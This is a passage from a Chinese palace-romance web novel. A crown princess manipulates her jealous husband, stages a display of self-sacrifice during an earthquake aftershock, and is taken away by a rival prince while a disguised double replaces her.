书房外,王显恭敬地弓腰行礼,“太子妃请吧,殿下说了,日后您想进书房便进,无须通传。” 云清婳莞尔,她站在门口透过缝隙看着坐在书桌前的人。 裴墨染正拿着一把剪刀,往袖口上反复来回地划。 她的杏眸扩张,瞳仁微震。 狗男人在做什么? 总不是想寻短见吧? 他割了好几次,终于将锦绣袖口磨破,他遂心满意足地勾起嘴角。 “这下好了。”裴墨染低喃道。 王显不小心瞅见里面裴墨染的动静,简直没眼看。 为了让太子妃刺绣,殿下可真是煞费苦心啊。 “夫君在做什么?”云清婳走进书房,拔高声音问。 啪—— 他的手一抖,剪刀掉在地上。 裴墨染咳了咳,掩住眼底的慌乱,面不改色道:“蛮蛮,你怎么来了?” 她将劝盘放在桌上,“我担心夫君忙于赈灾,无瑕用膳。” 他暗暗松了口气,蛮蛮应该没看见吧。 “怎会?我准备与你一同用膳。”裴墨染牵着她的手,故意露出左手袖口的裂痕。 这么明显的暗示! 他的袖口破了! 蛮蛮应该知道怎么做了吧? 云清婳挑眉,隐隐猜到了裴墨染争宠的心思,但她故意不问。 “……” 气氛一时之间有点尴尬。 裴墨染拿着瓷勺吃着馄饨,他心有不甘地摆弄着破烂的左边袖口。 “……”云清婳继续沉默。 一碗馄饨见底,云清婳还是没有任何表示。 裴墨染有些气急败坏。 这个小妮子怎么这么偏心? 凭什么王显、谢泽修的衣物破了,她知道补,她男人的袖子破了,她就不闻不问? “蛮蛮,你看我的袖口都破了。”他无病呻吟地叹气。 他今日穿了一身银灰色长袍便衣,布料是净面的,柔顺平滑。 云清婳冷嘁,阴阳怪气道:“是啊,你方才拿剪刀划破的。” 裴墨染的耳根子腾得红了。 蛮蛮居然都看见了! “为了救灾,我已然心力交瘁,可你还添乱!”她扬起手,扶了下脑后盘髻的玉簪。 裴墨染猛地从椅子上弹起身子,闪得很远。 “你懂不懂心疼人啊?光知道给别人补衣物,自己男人都不管!”他的声音陡然拔高,好像声音越大,越有道理。 实则色厉内荏,语气酸得不行。 云清婳有些无语。 他躲这么远干什么? 至于这么怕她吗? 方才她又没想打他。 “夫君的衣物又没破,我补什么?”她一脸莫名其妙。 裴墨染语塞:“……” 怎么像他在无理取闹? 她乜了他一眼。 狗男人幼稚得要命,整日只会拈酸吃醋。 还费尽心机把衣物弄破。 “你什么眼神?我可没吃醋!我怎么可能吃醋呢?真幼稚!”他强行挽尊,还自以为帅气地露出狂狷邪魅的笑,“呵,谢泽修一把年纪还娶不到妻子,我会羡慕他?你真是说笑了!” 云清婳:??? 她说什么了? 一直以来,不都是他在叭叭? 门外的王显眼底升起了同情、怜悯。 瞧把他们家殿下嫉妒的,都开始说胡话了。 云清婳的眉头紧皱,她真的怀疑狗男人疯了。 她上前一步。 裴墨染立即闭眼,就像在等待巴掌落下。 可意料之中的巴掌并没有落下。 他的唇上传来柔软温热的触感。 云清婳踮起脚,在他的薄唇上亲了一下,“夫君就这么嫉妒?” “我嫉妒什么?”他冷哼。 她的黛眉一横,一字一顿:“说实话。” 裴墨染的唇抿了抿,他的眸光颤动,心中坚硬的外壳被戳破,陡然泄出委屈。 云清婳突然想明白了,裴墨染并非突然‘发疯’。 他从小就羡慕裴云澈拥有皇后亲自刺绣的衣物。 可他每次只能得到毫无纹饰的衣物。 云清婳捧着他的脸,脸上透出前所未有的郑重与严肃,“裴墨染!我是你的妻子,你想要什么就说,我一定给你。你不需要像争宠的孩子,因为我手里的糖会全都给你。” “……”裴墨染的鼻子陡然发酸。 他的心中涌现出无限的酸胀与暖意。 仿佛多年的委屈、孤独有了出口。 他将她一把搂进怀里,咬牙忍住了眼中的潮湿,他的喉头像被堵了棉花发不出一点声音。 蛮蛮是懂他的。 她一眼看穿了他的虚张声势,没有怪他,而是想要抚平他深藏在心底的伤痕与脆弱。 她轻轻拍着他的背,“夫君若是不想让我帮他们刺绣,我日后不会了。” “不,是我的错。”他的声音低哑。 门外,王显拿着帕子不动声色地擦眼泪。 殿下终于有人心疼了。 同时,他也折服于太子妃的口才。 她实在太会说话了,别说殿下动容,谁听了能不动容? …… 下午,裴墨染准备动身去查看受灾后尚未坍塌的房屋,查看房屋结构。 他准备令工匠做出抗震房屋。 云清婳跟裴墨染软磨硬泡了好一阵,他才答应带上她。 她立即去换衣物。 裴墨染查看建筑图纸时,王显走了进来,他恹恹地禀报:“殿下,苏侧妃来了。” “……”裴墨染鬓角的青筋跳了跳。 谁把这玩意儿放出来害人的? “让她进来。”他摆摆手,一脸不耐烦。 事已至此,把话跟苏灵音说清楚也好。 免得她不自量力,再生是非。 苏灵音就走了进来,她的双眼红肿,巴掌大的脸上毫无血色。 看见裴墨染的瞬间,她如死灰一般的眼神亮了。 “殿下呜呜呜……”她带着哭腔娇呼,面上染了委屈。 裴墨染居高临下地坐在书桌前,面上毫无波澜,气场疏离而冰冷。 “殿下,您是为了大局才没去救我的对不对?”苏灵音自欺欺人的说着。 门外,云清婳换好了衣物准备随裴墨染前去受灾地。 书房传出娇滴滴的哭声。 王显脸都白了,他急得团团转,恨不得冲进书房通传,“太子妃莫要误会,殿下跟苏灵音……” 第222章 蛮蛮pua狗男人 嘘—— 云清婳将食指竖在唇前,示意王显噤声。 她想要亲眼看看这场虐心大戏! 这场戏,她万万不能现身。 因为她要让苏灵音认识到裴墨染的绝情。 “你真的不知道吗?”裴墨染的鼻腔发出一声冷哼,眼底尽是冰冷。 苏灵音的双臂颤抖,心如刀绞,“殿下,是不是太子妃在您面前说了什么?我都可以解释的。” 裴墨染不耐的打断她的话,“够了!本宫自始至终都知道你们的算计!将计就计罢了,与太子妃何干?” 一股热血直冲天灵盖,让苏灵音的头顶酸酸涨涨,随后脑中竟一片空白。 最后一丝幻想也破灭了。 “殿下,难道您真的没有对我动过心?哪怕一点点?我们曾经的一切都是假的吗?”苏灵音不甘、偏执地问,眼神破碎。 她聪明一世,怎会被裴墨染骗了? 裴墨染有点无语。 别说他,就连门外的云清婳、王显都无语了。 都什么时候了,她只关心这个?! 裴墨染用看傻子的眼神看她,“细作动情可是大忌,苏灵音,实话告诉你,本宫跟你在一起的每一刻都分外煎熬,像是吞了苍蝇。” “殿下……您怎么可以这样侮辱我?”苏灵音的眼泪扑簌簌地流,尊严仿佛被踩烂。 她眼中的羞恼、愤怒最终化为了偏执、癫狂。 比起感情被骗,她更不甘被人戏耍、输给云清婳! 她可是世间少有的女才子,不能接受自己输给云清婳! “殿下,一定是云清婳趁着我怀孕,用狐媚术勾引了您,我也可以伺候您的!”她含着泪,朝裴墨染扑去。 裴墨染露出极其厌恶的表情,就像在看一滩恶臭的秽物。 还不等人扑上来,他便伸出胳膊,在她肩膀上重重一推。 苏灵音朝后踉跄,脚一崴,屁股狠狠摔到了地上,她的尾椎剧痛,额上冒出汗珠,“啊……好疼!” “你要不要脸?本宫跟太子妃是夫妻,怎能叫勾引?你再嘴里不干不净,诽谤太子妃,本宫就割了你的舌头!”他的眼神冰冷,射出了无数暗箭。 苏灵音身子一颤,身子疼但心更疼,“殿下,我肚子里怀着您的孩子啊,您怎么能这么狠心?” “呵,你怎配怀本宫的孩子!你的肚子空空如也,只是服了假孕药罢了。”裴墨染挑眉,表情带着嘲意,绝情得让人发怵。 “不、不……”苏灵音双手捂着小腹,癫狂地大喊,“不会的!我的孩子怎会不存在?” 这是她将来成为皇后的倚仗啊! 这是她跟云清婳生的贱种争夺世子之位的筹码啊。 怎么可以是假的? 裴墨染的眸色黯淡,他更嫌弃了。 这个女人得知自己没有向上攀附的筹码,便歇斯底里,形同疯子。 连蛮蛮的头发丝都比不上! “滚!”他冷如冰珠地吐出一个字。 苏灵音缓缓抬起眼皮,讥诮地看着他,“殿下,我对您是真心的啊。” “你也配?”裴墨染鄙夷道。 “呵……难道云清婳就配?云清婳对您不忠!我亲耳听见、亲眼看见了!”她高高扬起脖子,信誓旦旦道。 门外,王显忍不住悄悄看向云清婳。 云清婳一脸云淡风轻,嘴角牵出笑弧。 “你想说什么?”裴墨染轻扬下巴,示意她说。 苏灵音的眼中燃起了熊熊的妒火,她道:“我被裴云澈掳走期间,裴云澈承认了!他说,他跟云清婳两情相悦,相互爱慕。您真的以为云清婳爱你?她何尝不是细作?” 书房陷入了沉默,落针可闻。 云清婳抱着胳膊,她好奇裴墨染的反应。 过了好一会儿,书房中传出男人的冷嗤。 裴墨染还以为苏灵音看见了什么惊天大秘密! 结果是裴云澈! 这算什么秘密? 还不如谢泽修呢! 在裴墨染心中,裴云澈的威胁小到几乎没有,相比之下,谢泽修才是劲敌。 “殿下真的可以忍受吗?您全心全意相待的太子妃,心中住着其他男人!我从未背叛您,而云清婳给你戴绿帽子!”苏灵音不怕死地大放厥词,刺激着他。 她像是想要玉石俱焚,自己不好过,旁人都别想好过。 裴墨染的桃花眼一片冰冷,他睨着她,故意气她:“本宫就愿意被太子妃戴绿帽子,如何呢?你以为这样就能离间本宫跟太子妃?” 裴云澈跟蛮蛮的往事,他早就知道了。 成亲前,也许蛮蛮对裴云澈的确有朦胧的好感,但成亲后,蛮蛮的心就只属于他一人。 他不觉得这有什么。 毕竟他也有过赵婉宁不是吗? 他没资格要求蛮蛮。 苏灵音瞪大了眼,难以置信的看着他。 他疯了吗? 居然说出这种窝囊话。 云清婳跟王显也被裴墨染方才的言论给惊住了。 二人久久没有回过神。 什么叫愿意被太子妃戴绿帽子? 这个癖好有点特殊啊。 “说够了就滚,本宫不想再看见你!”他板着脸,浑身裹挟着寒意,让人心惊胆战。 苏灵音含着泪,屈辱地从地上爬起来,颤颤巍巍的转身离开。 她跑出门口,就撞见了云清婳,眼神阴毒。 好! 裴墨染、云清婳,你们给我等着! 今日的戏耍、屈辱,我必会让你们千倍万倍偿还! 苏灵音心中的爱意消耗殆尽,取而代之的是刻骨的怨恨。 看着苏灵音跌跌撞撞地狼狈离开,云清婳的眼神荡开了玩意。 这一次,苏灵音心中最后一点侥幸也没了。 从云端坠入尘埃,绝对会让他疯狂! “蛮蛮。”裴墨染看到云清婳,连忙上前牵着她的手,“方才你都听到了吧?我跟她可没什么。” 她的黛眉一沉,努努嘴道:“夫君,什么叫愿意被我戴绿帽子?我在你心里就是红杏出墙的女子吗?你为何不为我辩解?” “我自然不是这个意思!蛮蛮为人清白,我是故意气她的!你对我满腔真心,她一腔假意,我都明白。”裴墨染俯下身着急地解释。 云清婳道:“夫君,你总是这样伤人,除了我,还有谁能忍受你?” “我知道的,都是我不好。”裴墨染像是做错事,被主人责罚的小狗。 他要是有尾巴,尾巴一定是耷拉下去的。 云清婳的眼里露出精明。 没错! 她在pua狗男人! 打击他,摧毁他的自信! 暗示他,他很糟糕,只有她一个人会真心对他。 第223章 她赌对了 离开府衙前,云清婳让裴墨染换上盔甲。 府衙所处的位置离震源处有一段距离。 二人去往受灾地探查房屋,路上便花了整整一个时辰。 云清婳跟裴墨染到时,诸葛贤、副将以及蜀地官员皆等候良久。 “参见太子殿下、太子妃。”众人恭敬地跪下行礼。 裴墨染随意地摆摆手,他另一只手紧握住云清婳的手。 “这里都是断垣残瓦,其实你不必来的,当心硌破鞋袜。”他倾下身,在她耳边低语。 云清婳放眼望去,目之所及一片荒凉,全是断垣残壁,房屋倾塌,荒无人烟。 “这里原本是最繁华的街道,人群熙熙攘攘,可现在……”说着,布政使哽咽了。 云清婳低声叹气。 “布政使节哀,陛下派太子殿下赈灾,我们必会还蜀的海晏河清。”谢泽修的语气坚定,他轻拍了拍布政使的肩膀。 “多谢殿下、谢将军。”布政使擦了擦眼角的泪。 众人朝谢泽修投出崇敬、希冀的眼神。 云清婳望着谢泽修,嘴角向上勾起。 他总是让人很温暖。 跟姐姐一样。 裴墨染不满地瞥了谢泽修一眼。 说漂亮话谁不会? 蛮蛮还满眼崇拜! 这个小妮子真是肤浅! 就知道喜欢小白脸! “你的眼珠子黏他身上算了!”他故意加大力道捏她的手心。 云清婳吃痛地抽出手,一脸莫名其妙。 狗男人又犯贱! “蛮蛮,我们跟工匠去探查完好的房屋,你去马车上坐着,千万别乱走。”他交代道。 云清婳转脸看向别处,娇声发牢骚:“夫君又瞧不起人。” “……”他有些茫然。 “殿下,太子妃丹青了得,寥寥几笔便能勾勒出图纸。”谢泽修解释。 诸葛贤敬佩地看向云清婳,他道:“太子妃的丹青是出了名的,画师不多,若是太子妃在,可以节省不少时间。” 裴墨染缓缓颔首。 他有点心虚,他还以为蛮蛮是偶尔任性一次,非要粘着他。 他小瞧她了。 王显将云清婳的画板、纸笔交给她,“太子妃,请。” 云清婳接过。 于是,他们几人兵分几路,探查房屋。 裴墨染跟云清婳一路,其他人分别带着工匠、绘图画师。 一进房屋,云清婳的心便突突直跳。 按照原著的情节,余震很快就要来了。 她不想平白无故的死,她还没给姐姐报仇呢。 裴墨染作为本书男主,有男主光环。 可是她呢? 她只是一个路人,只是一个寥寥几笔带过的女配角! 若是房屋坍塌,她有命活吗? 思及此,她的心跳更快了。 “蛮蛮、蛮蛮……”裴墨染唤道。 “蛮蛮……” 云清婳的思绪很快被拉回来,她怔怔地看向裴墨染。 他失笑,“想什么呢?该绘图了。” “嗯。”她环视一周,遂执笔描绘着房屋结构。 几息间,她就绘制出大致的轮廓。 “蛮蛮真厉害。”他宠溺地看着她。 云清婳无心回话,握笔的手满是汗水。 裴墨染拿出一方绣帕给她擦了擦鬓角,“有这么热吗?” 如今已然冬季,寒风呼啸。 她漫不经心地应了一声,心惊胆战道:“画完了,我们出去吧。” “房梁没画完呢。”裴墨染走向深处,指着屋顶的细节处。 “嗯。” 云清婳的脸色很难看,她正欲提笔再画,忽然房顶掉下来一层厚厚的灰。 啪嗒—— 瓦片纷纷砸了下来。 天旋地转般的,她站都站不稳,门、窗、房梁都摇晃起来。 云清婳距离门口很近,她盯着门口,拔腿就想冲出去。 她想活着! 没有什么比她的命更重要! 可才一瞬间,她就打消了怯懦的想法。 她得赌一把! “蛮蛮,快走!”裴墨染朝她跑来。 就在这时,房梁开始剧烈颤动。 云清婳丢下画板,眼泪在眼眶打转,“夫君!” 她朝他跑了过去。 电光火石间,裴墨染头上的房梁将要塌下。 “夫君小心!” 云清婳一把推开她,紧紧阖上双眼,脑中一片空白。 可意料中的疼痛没有传来。 一个宽厚的身躯罩在她身上,她的耳边传来了痛苦的闷哼声。 “呃……”裴墨染呻吟,他的胳膊被房梁砸中。 云清婳抽抽噎噎地哭起来,“夫君呜呜……” 余震渐渐归于平静,他一手将她搂进怀中,快步将她带出了危房。 谢泽修、诸葛贤几人都冲了上来。 “传太医!”王显惊呼。 诸葛贤担心地问:“殿下没事吧?” 他面色惨白地摇摇头。 “都怪我,都怪我……”云清婳哭得一抽一抽的,小脸跟脖颈都涨红了。 裴墨染的额上泌出了汗珠,他看了眼左边胳膊。 幸亏有盔甲缓冲阻挡,估计只是轻微骨折。 这点伤,对于久居沙场的人来说不算什么,养几个月就好。 他看着云清婳,故作轻松道:“跟你有什么关系?难道你替我受伤才对?那房梁本就该砸我。” 蛮蛮的身子这么单薄,倘若房梁砸在她的身上,他不敢想会有什么后果。 “你为什么这么傻?我都推开你了,你为何又迎上来?”她的眼泪沾了满脸,又气又恼地指责。 众人听到这里,惊讶不已。 也就是说,方才命悬一线时,太子妃居然推开了太子,以命相护!? 她明明这般弱不禁风,可却为了太子宁愿交出性命…… 太子妃对太子真是情根深种啊! 谢泽修的眼中流露出无限的心疼。 裴墨染的脸色阴沉下来,他正色道:“蛮蛮,是你为何这么傻?无论何时,你要保护的都应该是自己,我不需要你保护。” “你怪我不成?”她捂着脸哭得更伤心了。 他笨拙地哄道:“我怎舍得怪你?别哭了,我的心都疼了。” 诸葛贤以及一群副将面面相觑,遂尴尬地转身离去。 真是腻歪! 怪恶心人的! 鸡皮疙瘩都掉了一地。 殿下私下都这么肉麻吗? 裴墨染抬起完好的右手揉着她的脑袋,眼尾晕出薄红,“蛮蛮不哭了,都是我不好。” 方才蛮蛮推开他的那一刻,他的心剧痛。 就好像他已经失去她了。 那一刻他想,若是失去了蛮蛮,就算登上梦寐以求的位置,一切也变得没意义了。 无人能与他共享辉煌、分享喜悦。 “夫君,我好怕。”云清婳扑进他的怀中,浑身颤抖。 咚咚咚—— 她的心脏剧烈跳动。 在无人看见的角度,她惨白的脸露出一抹笑。 这一次,她赌对了! 第224章 裴墨染:心肝儿~ 裴墨染的心跳也不断加速。 他想,全天下除了蛮蛮,再也没有人会这样毫无保留、全心全意待他了! 其实一开始地动时,他什么都看见了。 蛮蛮盯着门口看了须臾,她的腿隐隐颤抖,她是想独自逃出去的。 她也完全能够安全无恙地逃生! 可是她最终选择了他! 这份真情,他铭记于心! …… 太医诊断出裴墨染左臂骨裂,给他包扎开药后,嘱咐要仔细养三个月。 诸葛贤担心裴墨染身子有虞,劝了半个时辰,嘴皮子都快磨破才将他劝回府衙养伤。 云清婳回来时,飞霜看见她无恙,长长吁出一口气。 太好了! 受伤的人是裴墨染,不是主子! 云清婳扶着裴墨染坐下,趁着太医包扎时,她走出屏风。 “主子,您没事吧?”飞霜上下打量着她,担心地问。 云清婳拍拍飞霜的手背,递给她一个安心的眼神,“计划很成功。” 她确信经过这一次,她已经攻下了裴墨染的九分真心。 人都是贪得无厌,得陇望蜀的。 没成为太子前,裴墨染会有执念,觉得世间一切都不及皇位重要。 只有他成为储君之后,才会觉得储君之位不过尔尔,遂生出她跟储君之位同样重要的念头。 从裴墨染方才被推开,又主动迎上来救她这一点就能证明。 “这便好。”飞霜轻拍着胸口。 云清婳在她耳畔道:“让段南天带人将今日的事宣扬出去,裴云澈该行动了。” “是。” …… 药熬好后,云清婳亲自将药端来。 此时,裴墨染正坐在窗下的书桌前,他已经换下了铠甲,穿着一身净面圆领袍。 他闲适地捏着蜀地的图纸看,仿佛根本没受伤。 “夫君,喝药了。”她端着碗,舀起一勺药汁,吹了吹,瓷勺放在他的唇边。 裴墨染的耳根子红了。 他莫名害羞起来…… 长这么大,印象里没几个人喂过他。 “我自己喝就好。”他别扭地伸出右手。 她固执地说:“我喂你。” 裴墨染臊得慌,可还是乖乖张嘴,心慌意乱地被她喂了半碗药。 后面,他实在撑不住,一把夺过药碗,忍着烫将剩下半碗黑乎乎的药汁一饮而尽。 “烫不烫啊?你羞什么?”她促狭道。 裴墨染咳了咳,“我怎会羞?胡说。” 她在他身侧坐下,双臂环绕着他的腰,“夫君,方才我好怕,我以为我要死了。” “谶言!蛮蛮会长命百岁的!”他将脸颊贴在她的额头上。 “我现在身上还冒着冷汗呢。”她把手心翻出来,给他看。 裴墨染的眸色黯淡,他严厉道:“蛮蛮,我没有说笑!日后无论发生什么,你都要顾好自己,我不需要你来保护,自私一点好不好?” 屋中陷入了良久的沉默。 他需要蛮蛮一个肯定的答复。 方才的事,他不想经历第二遍。 “夫君,其实我也贪生怕死。地动前,我总是心神不宁,好像听见了承基跟辞忧的哭声。地动时我很想逃出去,我心里想着孩子不能没有娘亲。” 她哽咽了下,继续道:“可是我又想到了夫君,觉得不能抛下夫君。” 裴墨染知道她说的都是真的。 因为他目睹了她的犹豫、权衡,在生与死面前,她权衡利弊之后选择了他,这更可贵。 “蛮蛮,幸亏有你爱我。”他的声音喑哑,心脏酸涩发胀。 她扶着他的胸口,缓缓扬起小脸,眼神溢出了嫌弃,“裴墨染,你说话越来越膈应人了。” 他又好气又好笑,“你这个女人,真是不解风情!非要在这个时候扫兴?” 她哼了一声,“今晚你滚去书房睡。” 狗男人,整天顶嘴! “……”裴墨染像是霜打的茄子,瞬间蔫了。 …… 晚上,云清婳从净室沐浴完毕,回到寝房便看见裴墨染正倚靠在榻上,疾言厉色地训斥王显。 王显看到云清婳像是见到了救星,他端着一盆热水,笑吟吟地朝她走来,“太子的胳膊受伤,不便沾水,劳烦太子妃了。” 真是把他惯的! 狗男人,休想奴役她! 她的黛眉一拧,大步走到裴墨染面前,不容置喙道:“去沐浴!” 裴墨染晃了晃左臂,软声道:“蛮蛮,我胳膊疼。” “左臂不沾水很难吗?我看夫君今晚是真想睡书房了。”她沉下脸。 他心中警铃大作,立即下榻去了净室。 过了两刻钟,裴墨染终于回到寝房。 他轻轻掀开床帐,云清婳还未入睡,她正盘腿坐在榻上看话本子。 裴墨染小心翼翼地躺在榻上,略带薄茧的大掌捉住了她的小手,他的声音沙哑,“蛮蛮,胸还涨吗?” 云清婳放下话本子,脸颊透出淡淡的粉,她摇摇头。 离开孩子太久,此地的膳食又不好,自然早就没有奶水了。 他有些失落,祈求道:“蛮蛮,你疼疼我。” 狗男人,又发情! 她抿了抿唇瓣,几分纠结道:“可是你的胳膊受伤了。” “我不使劲就行。”他的眼中欲色浓厚。 云清婳脸上的红晕不断加深。 他不使劲,就是要她使劲咯? 她看着他这张棱角分明,秀色可餐的脸,最终点头。 窗外的打更声不知响了多少下,寝房中的动静才消停。 最后,云清婳瘫倒在锦衾中,浑身都是汗,整个人像是才从水里捞起来。 而裴墨染一脸餍足,食髓知味。 二人情意绵绵,两情缱绻间,他用鼻尖轻蹭着她的脸颊,情不自禁地开口:“心肝儿~” 云清婳:??? 她抬起酸软的胳膊,往他脸上一甩,啪—— 裴墨染懵了。 他委屈、惊讶、迷茫地看着她。 他做错了什么? 怎么又喜提一巴掌? “你在叫谁?”她膈应极了。 在蜀地他都不消停? 不会去教坊司之类的地方了吧? 真脏! 裴墨染嘴角勾起,又暗爽了。 “你看你,又吃醋!”他佯装生气,“我听别人这样叫过,也想这样唤你不行吗?” 他絮絮不止地数落:“你整日就合计这些是吧?蜀地民生凋零,我就算想,也无处可去!四处哀鸿遍野,我岂会寻欢作乐?” 云清婳太了解他了。 他如此理直气壮,绝对所言非虚。 她给他揉揉脸颊,得了便宜还卖乖,“夫君,要不你打回来?” 第225章 必看!蛮蛮被换,他能认出来? 裴墨染白了她一眼,揶揄道:“打回来?我敢吗?我若是真动手,你今晚恐怕要杀夫了。” “我哪舍得杀夫君?我爱夫君还来不及呢。”她讨好道。 他心里舒服极了。 他哼了一声,高傲道:“你亲本宫一下,本宫就勉为其难原谅你。” 云清婳恨不得再甩一巴掌过去。 他这副模样,真的好贱啊。 “不要!方才嘴都亲疼了。”她抱怨着,扯着被褥就睡。 裴墨染的心脏一颤,酥酥麻麻的。 她怎么总是一脸单纯,漫不经心的说这么撩拨人的话? 思及此,他浑身燥热,下榻命王显备凉水。 …… 翌日,天蒙蒙亮。 裴墨染受伤不必前去灾地,他罕见地赖床,静静看着枕边人。 云清婳的小脸放松,粉唇微嘟,呼吸均匀,精致美艳的五官透着说不出的清纯与娇憨,让人心动。 忽的,她的眉心蹙起,轻声惊呼:“裴郎……” 她身子一震,陡然睁开双眼,心跳剧烈。 “怎么了?做噩梦了?”裴墨染给她拍了拍胸口。 云清婳背后的冷汗染湿了亵衣,她惊魂未定,恐惧如同绣花针细细密密地刺进了她每一个毛孔。 她居然躺在裴墨染身边,喊了裴云澈! 这个错误太危险了! 裴墨染吻了吻她的额头,柔声哄道:“蛮蛮,有我在,别怕。昨日的事忘了吧!” 因为心虚,她下意识想试探裴墨染。 她的双臂勾住他的脖颈,“夫君,你亲亲我。” 裴墨染轻笑,他在她唇上亲了下,“方才怎么叫我裴郎?嗯?” 云清婳心虚不已,同时也松了口气。 好在裴墨染没有怀疑。 “不可以吗?”她委屈地问。 他屈指刮了下她的鼻尖,“随你,你想怎么叫都行。” 云清婳暗想,幸亏两人同姓,不然还真不好圆。 接下来的几日,裴墨染整日待在寝房中养伤,二人朝夕相处。 蜀地下了一场雪。 裴墨染跟云清婳依偎在窗前,共赏雪景,到处白茫茫一片,积雪压弯了枝头。 “蛮蛮,京城也下雪了吧?”他问。 云清婳搂着他的腰,缓缓道:“我想孩子了,我们一家四口还没好好一起过过年呢,两个小家伙还没看过雪。” “我们还有一辈子,日后我们再也不分开。等孩子大了,我们就共享天伦,含饴弄孙。”他禁不住畅想暮年的生活。 她的眼中闪过嘲意。 共享天伦?含饴弄孙? 可惜,他们俩是不会有了。 “夫君,我觉得现在很幸福。”她慨叹般地说。 裴墨染向来古井无波的脸上,扬起了浅浅的笑,“我也很幸福。” 她嘴角的笑纹不断加深。 幸福就对了! 在你最幸福的时候,夺走你的一切,你一定会很痛苦吧? “药熬好了,我把药端过来。”她道。 他的心莫名不安,他抓住她的衣袖,“让下人去吧。” “不行,别人我不放心。”她道。 就在这时,乾风拍响了门,“殿下、殿下,不好了!救济粮的粮仓起火了。” “什么?”裴墨染递给云清婳一个眼神,慌张往外跑。 云清婳看着他的背影,眼神愈发戏谑。 裴云澈的动作真快啊。 她去往厨房,脚一踏入门槛,就被一个庞大的身躯捂住了嘴,推在门板上。 云清婳的双眸瞪得硕大,脸上一派惊恐。 “是我。”裴云澈温声道。 她脸上的惊恐随即化为委屈跟担忧,她推开他的手,“裴郎怎么来了?” “蛮蛮,跟我走吧!”他看着她,狭长的眸深情款款。 云清婳有些纠结,可最后还是颔首,“我愿意跟裴郎走。” 他露出欣慰的笑,用火一把点燃了厨房,在细作的掩护下,一路畅通无阻。 趁着众人救火,裴云澈带着云清婳悄无声息地从后门离开。 上马车前,她远远看见从后门跑来的谢泽修。 他双眼布满红血丝,担忧溢于言表。 云清婳的心突突直跳。 谢泽修可不能破坏她的计划! 她做出口型:别救我! 谢泽修看懂了,他停下了追赶的步伐。 下一瞬,云清婳就被抱上了不引人注意的灰蒙蒙的马车。 马车疾驰,消失在后街,只在雪地里留下两行车辙印。 云清婳扑在裴云澈的怀里,眼泪啪嗒啪嗒落在他的手背上,“裴郎,不行,我不能跟你走。若是裴墨染发现了怎么办?他不会放过我们的,我不能害你!” 他用指腹揩去她眼角的泪,温柔而坚定地看着她,“放心!我有万全之策,我找到了一个江湖女术士聂蓉,她善易容、口技,她已经暗中观察你半月,绝对能够以假乱真。” 云清婳的瞳孔微怔,既惊奇又哑然,“真的这么厉害?” 他宠溺地笑了,“想看吗?日后有机会了就带你去看。” 她娇憨地颔首。 她是真的好奇了,狗男人口口声声说爱她,他到底能不能发现替身呢? 裴云澈忽地神色一凛,敛住脸上的笑,“蛮蛮,我要跟你道歉,之前给孩子下毒,是我做得不对。” 云清婳的脸上露出委屈,哽咽道:“裴郎,他们是我怀胎十月所生,身上流着我的血,你若是爱我,何必纠结孩子父亲是谁呢?他们也可以是你的孩子。” 她pua起了裴云澈。 “父皇很喜欢他们,他们的威胁比裴墨染还要大。”他不再掩饰,在她面前毫无保留的揭开内心的阴暗。 “你非要这样想,我也没办法,看来裴郎并不爱我。”云清婳扭过身,不再理他。 裴云澈的喉头发干,一时之间竟不知道说什么。 …… 另一边,众人纷纷救火。 等裴墨染慌里慌张赶回来时,火势已经熄灭。 “蛮蛮……”他惊慌的大喊。 “夫君……” 聂蓉易容成云清婳的模样,小跑着扑进裴墨染的怀中。 身段、动作、声音如出一辙,毫无偏差。 她扑进裴墨染的怀里。 裴墨染拥住了她,他满眼担心地低头看着怀中的人儿。 “蛮蛮,你没受伤吧?”他甚至现在还能听见自己因为恐惧而剧烈跳动的心跳声。 她摇摇头,“夫君,粮仓没事吧?” “没事,都是裴云澈的功劳。”他磨了磨后槽牙。 裴云澈总是如此,为了一己私利,置百姓于水深火热。 聂蓉松了口气。 看样子,她过关了。 太子并不能认出太子妃,什么夫妻情深,也不过如此。 飞霜在心里竖起了大拇指。 这个女术士有两下子啊,她都差点被骗了。 裴墨染扶着聂蓉回寝房,“蛮蛮,我让太医给你看看。你别乱动。” “我没事,夫君的伤还没好呢。”她娇声道。 “我跟你能一样吗?你娇气得要命。”他不由分说大步往门外走去。 踏出门的瞬间,裴墨染的脸色一沉,眼中迸发出肃杀。 “殿下,我们主子没事吧?”飞霜似乎被他的气场吓到,哆哆嗦嗦地问。 他的眸凌厉的一轮,狠狠剜了她一眼,“连自家主子都不认识?” 飞霜嘴半张着,都足够塞下一个鸡蛋。 “一个冒牌货你都看不出来?”裴墨染鄙夷道。 飞霜一脸惊愕。 裴墨染究竟是什么时候开始看出来的? 第226章 跟她玩起了纯爱 飞霜得帮云清婳、裴云澈争取跑路时间。 这是云清婳交代的。 她嘴硬道:“殿下的意思,奴婢不明白。什么冒牌货?主子不就在里面吗?” 裴墨染轻蔑地哼了一声。 他在心中暗想,还是他了解蛮蛮。 飞霜跟了蛮蛮十几年,也不过如此。 为了不打草惊蛇,裴墨染立即交代手下去追踪裴云澈的踪迹,并命人严加看管“太子妃”。 …… 云清婳跟裴云澈都没想到,裴墨染这么快就识破了替身。 追踪他们的人马越来越近,裴云澈只好连夜带云清婳逃跑。 幸而裴云澈手下的得力干将很多,帮他们甩掉了裴墨染军队的追捕。 …… 没几日,他们就到了江城。 这里是裴云澈管辖的地盘,布政使、刺史之类的全是他的心腹。 云清婳单方面跟裴云澈也“冷战”好几日了。 终于,裴云澈忍不住了,他端着饭菜进了府衙内的寝房。 “蛮蛮,这几日你都没好好吃饭,小脸都瘦了。”他将劝盘放在她的手边,讨好的意图明显。 云清婳幽幽地看着他,“你既然不能容下承基、辞忧,为何还要把我放在身边?早知如此,我就不该跟你走。” 他长长吐出一口浊气,似是做了决定,“蛮蛮,我答应你,不动孩子,你莫要赌气饿坏了身子。” 得到了保证,她扑进他怀里,娇声哭道:“裴郎,你绝情的让我害怕,我都不知道你心里有没有我。你心里好像只有皇位,不在乎我了。” 裴云澈失笑。 她怎么还倒打一耙? 绝情的明明是她,为了两个孩子,就不理他了。 “现在高兴了?多吃些。”裴云澈拿起碗筷,喂她吃饭。 她恹恹的,胃口并不好,吃了几口白粥便吃不下了。 他忽地想到什么,他吞吞吐吐道:“蛮蛮,裴墨染似乎对你认真了。他用苏灵音给你当挡箭牌,还这么快就认出了聂蓉。” “余震时,坊间传闻你推开他,以命相护……这是真的吗?” 云清婳的目光尖锐,冷声道:“裴郎又要误会我不成?裴墨染害死过我们的孩子,我怎会救他?坊间传闻你也相信?” 